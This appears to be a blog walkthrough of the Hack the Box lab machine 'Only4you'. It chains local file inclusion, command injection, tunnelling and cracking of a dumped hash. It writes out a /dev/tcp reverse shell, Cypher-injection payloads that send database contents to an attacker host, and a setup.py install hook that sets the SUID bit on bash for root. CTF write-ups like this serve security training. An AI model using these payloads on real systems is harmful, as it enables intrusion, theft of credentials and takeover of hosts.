Rootflag.io
August 26, 2023

Hack the Box - Only4you

Posted on August 26, 2023  •  8 minutes  • 1621 words

Welcome back! Today we’re going to do the Hack the Box machine - Only For You. This is listed as a medium Linux machine. Let’s see what’s in store.

As usual, we start with a rustscan of the target. Here are our results:

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://only4you.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We see that port 80 redirects. So let’s add that to our host file and see what’s there.

As we browse the site, we kick off a gobuster in the background.

Command: gobuster dir -u http://only4you.htb -w /YOUR/WORDLIST/HERE -t 80

We also kick off a ffuf to see if we can find some subdomains.

Command: ffuf -u "http://FUZZ.only4you.htb" -w /WORD/LIST/HERE/

So while we’re looking the page over, we see that there is a beta version of the site available at beta.only4you.htb. So we add that to our host file and check that out. We find a simple landing page. It offers two function, resize, convert and viewing the source code. We start with the source code, download that and start sifting through it. We see we have another flask application. Looking at the code we see that the download function does not properly sanitize the inputs.

This is simply looking for LFI but in this case we can simply provide a standard path such as /etc/passwd.

So now we can use this method to help enumerate internally. The first location we can check is /var/log/apache2/error.log. This is generally the default logging location for apache. Nothing was found, so we’ll move onto nginx. This default location is usually /var/log/nginx/access.log. Sure enough we get a hit.

This means we’re running nginx. So we can now look to access the sites and configs .

Now that we know the location of the main site, we can abuse the same exploit to obtain the main sites source code. Which we are assuming is app.py

What’s interesting is that this code is using a library to potentially send messages - import from import sendmessage. Normally when a message function is in a CTF, it’s our path forward :D. Whether it’s a function reading the message and you exploit it, or an attachment associated with the message. So to better understand how to craft something, we can see that request.form is being called. So we’ll check for form.py.

Looking at the code for this function, we see there is a potential OS Command Injection available in the issecure function.

result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)

This is calling the function directly to the command line. Meaning we can probably put our own commands within this and get it to run. Let’s test. We setup a nc listener on port 80 and supply a curl command in our web request. Sure enough, it works!

So, we can potentially catch a shell back in the same manner. Calling the standard bash shell in the web request didn’t work. But we do know that curl worked, so why not try and curl down a script and pipe it to bash. We make our script with our bash shell inside.

sh -i >& /dev/tcp/10.10.14.2/6666 0>&1

Then we host the file with http.server. Then send our web request.

We get a shell back as www-data. We can copy over linpeas and pspy to start enumerating. Linpeas gives us some good information on local ports open. We have port 3000 and 8001 open locally. Normally we would like to leverage ssh to port forward these but that’s not the only way - we can use chisel since we don’t have any ssh credentials yet.

On our local machine we run:

./chisel server --reverse --port 7070

Then on our target machine we run:

./chisel client 10.10.14.2:7070 R:3000:127.0.0.1:3000

We can now access what’s being hosted on 3000 on our local machine. Looks like we have a Gogs service running.

Once we look at the users under the explore tab. We see we have administrator and john. We don’t have either set of those credentials yet, so we can continue to look around which finds nothing else. So next we’ll port forward port 8001 and see what’s there. We repeat the above command but with 8001 as our port:

./chisel client 10.10.14.2:7070 R:8001:127.0.0.1:8001

When we land on this page, we see a username password page.

Sure enough admin:admin works for a login! Once we’re in, we get a statistics dashboard.

We see an Employees tab. Here we seem to have a search function. When we supply a simple ' we get a 500 Server Error!. This is probably injectable. Now we know from the front dashboard that the backend is using neo4j. The first search for neo4j sqli comes back with a bunch of results about a cypher injection - this and this have some good info on it. We can try one of the first example code for a PoC. We start up a nc listener on port 80 and send the URL Encoded query.

' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 // 

No dice, so we try another query:

' OR 1=1 WITH 1 as a  CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://attacker.com:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 // 

This time we get a response back.

So now, we need to use this method to enumerate the database a bit. For neo4j we need to get something called labels.

' OR 1=1 WITH 1 as a CALL db.labels() yield label LOAD CSV FROM 'http://10.10.14.2:80/?label='+label as l RETURN 0 as _0 // 

This yielded one? result -user.

Now we need to enumerate that user database. After some research what we are looking to do is obtain the properties of the key of user.

' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.2:80/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //

The above MATCH will find us what we put in (f:LABEL) in our case, user.

This gives us a password back.

8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918

This is a SHA256 hash according to hashes.com. So, we give that to john and see what comes back. When we crack it, it seems that we get back admin. Great. We’ve essentially done nothing. After trying to dump password it turns out that the issue was within nc truncating the incoming request. Catching the incoming request via python worked as mostly expected.

Now we can feed that password to john and see what comes back. We get back ThisIs4You. We try to use that password for ssh and it works!

Now that we’re on the system, we can start to enumerate. We copy over linpeas.sh and pspy. Let them run to see what we find. We also run sudo -l and see we can run some pip3 functionality.

So this would lead us to believe we need to setup another chisel instance in order to get access back to port 3000. So we repeat the above commands to create the tunnel back to us over 3000. Once that’s setup, we attempt to login as john using the password ThisIs4You and it works. We see there is one Test repo setup but no other public activity. But this is fine, this is all we need. We need the ability to create a malicious tar file as defined by our sudo -l . You can find plenty of resources on that topic . Here is one that was done a while back but is still relevant .

First we clone the repo down:

git clone https://github.com/wunderwuzzi23/this_is_fine_wuzzi/

Then we can modify the setup.py file to accommodate what we’re looking to do. You can call a remote shell or add the bash SUID. Either way, we need to edit our script.

import os
from setuptools import setup, find_packages
from setuptools.command.install import install
from setuptools.command.egg_info import egg_info


def RunCommand():
    print("Hello, p0wnd!")
    os.system('chmod +s /bin/bash')

class RunEggInfoCommand(egg_info):
    def run(self):
        RunCommand()
        egg_info.run(self)


class RunInstallCommand(install):
    def run(self):
        RunCommand()
        install.run(self)

setup(
    name = "this_is_fine_wuzzi",
    version = "0.0.1",
    license = "MIT",
    packages=find_packages(),
    cmdclass={
        'install' : RunInstallCommand,
        'egg_info': RunEggInfoCommand
    },
)

Note that we also need to import os as well. Otherwise we cannot call os.system(). Then we need to install build.

pip install build

Then we need to call it.

python3 -m build

This will package up our malicious file nicely.

Once we’ve built the .tar.gz it’s spit out into the dist directory in the repo we pulled. We can now that that file and upload it to Gogs.

We go to the Test repo, and click the upload file button. Then we drag the file over to our upload window, comment and Commit the change.

Once done, we see the file is indeed listed. We only need to obtain the full file path and supply that to our sudo command.

Full path: http://localhost:3000/john/Test/raw/master/this_is_fine_wuzzi-0.0.1.tar.gz

After much trying I wasn’t able to see to get it to pull the tar.gz

It seems the box was either designed to work this way or extremely unstable. So instead, I created a new repo. I had to recreate the repo 5 times before it stuck. Once it was created, I uploaded our malicious tar file to that repo and pulled it down.

Once that worked, we simply issue the bash -p command and we get a new shell as root! We’ve not got the root.txt flag. Another one bites the dust!

Follow me

I hack things and tweet about things...